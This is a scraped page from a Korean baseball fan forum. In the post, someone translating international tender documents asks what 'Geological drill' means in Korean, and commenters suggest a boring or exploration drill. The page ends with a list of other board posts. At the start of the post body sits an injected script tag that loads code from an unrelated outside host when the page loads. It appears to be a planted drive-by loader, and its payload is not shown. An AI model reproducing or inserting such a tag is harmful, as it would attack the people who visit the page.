엠엘비바다 > 자유게시판 > [건설관련영어] 국제입찰서류를 번역 중인데......

자유게시판

MLB이야기

한국야구이야기

야구칼럼

야구동영상

야구갤러리

MLB환타지리그

현재접속자 ( 115 명)

MLB바다 카테고리

일간 인기 게시물

[건설관련영어] 국제입찰서류를 번역 중인데......

글쓴이 : PerfectLess 날짜 : 09-06-22 16:31 조회 : 7435 추천 : 35

<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>건설장비 중에 영어로 Geological drill 이 우리 말로 하면 어떤 장비를 말하는 건가요?

건설관련일에 종사하시는 분들 중에 아시는 분 있으시면 좀 부탁드립니다.

추천 : 35

犬信증권	09-06-22 16:36

시추용 드릴 이야기 하는거 가튼디

건설용언 다 일제식 용어라

아래분께 패쒸

설마 함마드릴?

오리온	09-06-22 17:38

제가 아는바로는 가스전이나 석유 시추시 사용되는 장비로 압니다.

그리고 실력자들은 미국이나 유럽쪽 이라고 압니다

우리 나라에서 시공사로 주관하는 공사에서도 시추 작업은 미국이나 유럽쪽 애들에게 가는 경우가 많은것으로 압니다

땅파는거랑 공구리는 내 전공이 아니라서 그정도 밖에 몰겠네요

견습투수	09-06-22 17:43

<a href=http://www.sgs.org.sa/Content/images/basalt_drill.jpg target=_blank>http://www.sgs.org.sa/Content/images/basalt_drill.jpg </a>

이렇게 생긴거라고 하네요 제 눈엔 소형 오우거처럼 생겼네요.

	게시물 23,546건


번호	제목	글쓴이	날짜	조회	추천

23546	회원가입 승인후 글쓰기가 가능해 집니다. (143)	도덕적피바다	04-06	34529	977

23545	국가대표 영화 관람 후기 (39)	철	08-11	6939	73

23544	"사이버테러 서버는 미국 IP", 국정원 당황 (48)	농약벌컥벌컥	07-09	7476	40

23543	이번주 최훈님의 KBO카툰 난리네요 (18)	purplehaze	07-15	8393	40

23542	완디 로드리게스, 피츠버그 전 완봉승 (3)	용태	07-09	5845	39

23541	쿄쿄 여성그룹이 홍수지만 내가 생각하는 실력자들은 얘네들.. (14)	착한OrOi	06-20	8886	38

23540	[re] 한국 기름값 문제에 관한 질문좀 드릴게요. (3)	뚜깐	07-12	5094	38

23539	저기 김현수 말인데요... (16)	또감독	06-23	8952	37

23538	bj업튼 오늘 홈스틸...이런 홈스틸은 첨 보네요 (20)	Josh Hamilto…	07-09	7953	37

23537	빨래줄 같은 슈팅이네요... (15)	그뤠이트	07-02	8657	36

23536	할라데이 트레이드루머들.. (13)	제이스	07-09	6955	36

23535	김승현 뭐 장난하는것도 아니고 (11)	kangseuk	07-13	7303	36

23534	[건설관련영어] 국제입찰서류를 번역 중인데...... (3)	PerfectLess	06-22	7436	35

23533	<기사>캐즈미어 - 릭 패터슨 두번째 만남	Josh Hamilto…	07-10	5638	35

23532	벅스 vs 필리스 지역라이벌 오늘 라인업 (9)	akira8190	07-13	5640	35

23531	이학주, 하재훈, 정수민	무야	06-23	8387	34

23530	부산 자이언츠 홍성흔 선수의 응원가	디어환	07-09	6233	34

23529	바즈케스 경미한 부상/전반기 마지막 선발 및 올스타전 불참 (2)	류영재	07-10	5506	34

23528	일본 자위대의 위상(부제:엘리트부대의 헬기레펠시범) (4)	Mc-Bikira	07-13	6650	34

23527	［잡썰］위대한 패배자 (8)	춘배~~!!	07-15	6241	34

23526	이거 합성 맞나요?? 혐짤 주의하세요 ~_~ (14)	Kuzo	07-16	10907	34

23525	찬호형님 오늘 ㅎㄷㄷ; 3이닝 무실점 4삼진 (2)	jumping	07-10	7860	33

23524	주저리+지식인)장례식가는 꿈.. (3)	컵스사랑	07-14	6824	33

23523	19금 야동!! 매드독 영구결번 뉴뉴 (12)	춘	07-18	11398	33

23522	광분하는 산동네 두목 (7)	Finley	06-21	156740	32

1 2 3 4 5 6 7 8 9 10